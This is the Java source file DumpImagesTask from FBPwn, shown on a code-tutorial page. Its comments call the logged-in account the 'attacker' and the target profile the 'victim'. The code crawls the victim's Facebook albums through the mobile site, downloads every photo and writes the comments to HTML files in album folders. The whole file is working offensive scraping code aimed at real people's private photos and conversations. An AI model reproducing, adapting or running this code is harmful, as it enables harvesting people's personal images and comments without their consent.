fbpwn.plugins.core.DumpImagesTask.java Source code

Java tutorial

Introduction

Here is the source code for fbpwn.plugins.core.DumpImagesTask.java

Source

/*
 * FBPwn
 * 
 * http://code.google.com/p/fbpwn
 * 
 * Copyright (C) 2011 - FBPwn
 * 
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
package fbpwn.plugins.core;

import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import com.gargoylesoftware.htmlunit.html.DomNodeList;
import com.gargoylesoftware.htmlunit.html.HtmlAnchor;
import com.gargoylesoftware.htmlunit.html.HtmlElement;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import fbpwn.core.AuthenticatedAccount;
import fbpwn.core.FacebookAccount;
import fbpwn.ui.FacebookGUI;
import fbpwn.core.FacebookTask;
import fbpwn.core.FacebookTaskState;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.apache.commons.io.FileUtils;

/**
 * Represents the dump images task 
 */
public class DumpImagesTask extends FacebookTask {

    /**
     * Creates a new dump images task 
     * @param FacebookGUI The GUI used for updating the task's progress
     * @param facebookProfile The victim's profile
     * @param authenticatedProfile The attacker's profile
     * @param workingDirectory The directory used to save all the dumped data
     */
    public DumpImagesTask(FacebookGUI FacebookGUI, FacebookAccount facebookProfile,
            AuthenticatedAccount authenticatedProfile, File workingDirectory) {
        super(FacebookGUI, facebookProfile, authenticatedProfile, workingDirectory);
    }

    /**
     * Initialize this task, called once the task is added to the queue 
     */
    @Override
    public void init() {
    }

    /**
     * Runs this task
     * @return true if completed, false if error occurred so that it will be rerun after a small delay.
     */
    @Override
    public boolean run() {
        setTaskState(FacebookTaskState.Running);
        setMessage("Getting Album List");
        getFacebookGUI().updateTaskProgress(this);
        ArrayList<String> albumsURL = new ArrayList<String>();
        try {
            //Opening Mobile photo page of victime profile
            HtmlPage photosPage = getAuthenticatedProfile().getBrowser().getPage(
                    getFacebookTargetProfile().getTaggedPhotosURL().replace("www", "m").replace("sk", "v"));
            while (true) {
                //Extracting Album links
                List<HtmlAnchor> anchors = photosPage.getAnchors();
                for (int i = 0; i < anchors.size(); i++) {
                    if (anchors.get(i).getHrefAttribute().contains("/media/set")) {

                        if (!anchors.get(i).getHrefAttribute().contains("m.facebook.com")) {
                            albumsURL.add("http://m.facebook.com" + anchors.get(i).getHrefAttribute());
                        } else {
                            albumsURL.add(anchors.get(i).getHrefAttribute());
                        }
                    }
                }
                //checking for Additional album pages
                try {
                    photosPage = getAuthenticatedProfile().getBrowser().getPage("http://m.facebook.com" + photosPage
                            .getElementById("m_more_item").getElementsByTagName("a").get(0).getAttribute("href"));
                } catch (Exception ex) {
                    break;
                }

                if (checkForCancel()) {
                    return true;
                }
            }
            //dumping images and comments on each Album
            for (int i = 0; i < albumsURL.size(); i++) {
                setMessage("Dumping Albums " + (i + 1) + "/" + albumsURL.size());
                getFacebookGUI().updateTaskProgress(this);
                HtmlPage album = getAuthenticatedProfile().getBrowser().getPage(albumsURL.get(i));
                processAlbum(album, i + 1);

                if (checkForCancel()) {
                    return true;
                }
            }
            setMessage((albumsURL.isEmpty()) ? "No Albums or Albums are not accesible" : "Finished");
            setTaskState(FacebookTaskState.Finished);
            setPercentage(100.0);
            getFacebookGUI().updateTaskProgress(this);
        } catch (IOException ex) {
            Logger.getLogger(DumpImagesTask.class.getName()).log(Level.SEVERE,
                    "Exception in thread: " + Thread.currentThread().getName(), ex);
        } catch (FailingHttpStatusCodeException ex) {
            Logger.getLogger(DumpImagesTask.class.getName()).log(Level.SEVERE,
                    "Exception in thread: " + Thread.currentThread().getName(), ex);
        }
        return true;
    }

    /**
     * Dump Album Images with Comments
     * @param albumPage Mobile album page containing Images with comments
     * @param albumIndex Album index that identify it's folder
     */
    private void processAlbum(HtmlPage albumPage, int albumIndex)
            throws FileNotFoundException, UnsupportedEncodingException, IOException {
        ArrayList<String> photos = new ArrayList<String>(); //Array of Images links
        DomNodeList<HtmlElement> anchors; //All anchors in album page
        while (true) {
            // Extracting images links
            HtmlElement body = albumPage.getElementById("root");
            anchors = body.getElementsByTagName("a");
            for (int j = 0; j < anchors.size(); j++) {
                if (anchors.get(j).getAttribute("href").contains("fbid")) {
                    photos.add("http://m.facebook.com" + anchors.get(j).getAttribute("href"));
                }
            }
            //checking for Additional images in this album
            try {
                albumPage = getAuthenticatedProfile().getBrowser().getPage("http://m.facebook.com" + albumPage
                        .getElementById("m_more_item").getElementsByTagName("a").get(0).getAttribute("href"));
            } catch (Exception ex) {
                break;
            }

            if (checkForCancel()) {
                return;
            }
        }
        //dumping Images with comments
        for (int j = 0; j < photos.size(); j++) {
            //opening Image Page that containg it's comments
            HtmlPage photoPage = getAuthenticatedProfile().getBrowser().getPage(photos.get(j));
            //writing image to file
            FileUtils.copyURLToFile(new URL(photoPage.getElementsByTagName("img").get(1).getAttribute("src")),
                    new File(getDirectory().getAbsolutePath() + System.getProperty("file.separator") + "Album-"
                            + albumIndex + System.getProperty("file.separator") + "Image-" + (j + 1) + ".jpg"));
            //Initializing html file to look like facebook interface
            PrintWriter commentWriter = new PrintWriter(new File(
                    getDirectory().getAbsolutePath() + System.getProperty("file.separator") + "Album-" + albumIndex
                            + System.getProperty("file.separator") + "Comments-on-Image-" + (j + 1) + ".html"),
                    "UTF-8");
            commentWriter.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
            commentWriter.println(
                    "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\" \"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">");
            commentWriter.println(albumPage.getElementsByTagName("head").get(0).asXml());
            //checking for previous comments on this image
            try {
                //dumping previous comments
                dumpComments((HtmlPage) getAuthenticatedProfile().getBrowser()
                        .getPage("http://m.facebook.com" + photoPage.getElementById("see_prev")
                                .getElementsByTagName("a").get(0).getAttribute("href")),
                        commentWriter);
            } catch (Exception ex) {
            }
            //dumping latest comments
            dumpComments(photoPage, commentWriter);
            commentWriter.flush();
            commentWriter.close();
            setPercentage((double) (j + 1) / photos.size() * 100);
            getFacebookGUI().updateTaskProgress(this);

            if (checkForCancel()) {
                return;
            }
        }

        //dumping Album name in text file
        PrintWriter nameWriter = new PrintWriter(
                new File(getDirectory().getAbsolutePath() + System.getProperty("file.separator") + "Album-"
                        + albumIndex + System.getProperty("file.separator") + "Album Name.txt"),
                "UTF-8");
        nameWriter.println(albumPage.getTitleText());
        nameWriter.flush();
        nameWriter.close();
    }

    /**
     * Dump comments on Album images
     * @param photoPage Mobile photo page containing comments
     * @param commentWriter Writer used to dump comments
     */
    private void dumpComments(HtmlPage photoPage, PrintWriter commentWriter) {
        DomNodeList<HtmlElement> divisions = photoPage.getElementsByTagName("div");
        for (int i = 0; i < divisions.size(); i++) {
            if (divisions.get(i).getAttribute("class").equals("ufi")) {
                commentWriter.println(divisions.get(i).asXml());
                break;
            }
        }
    }

    @Override
    public String toString() {
        return "Dump Album's photos with comments";
    }
}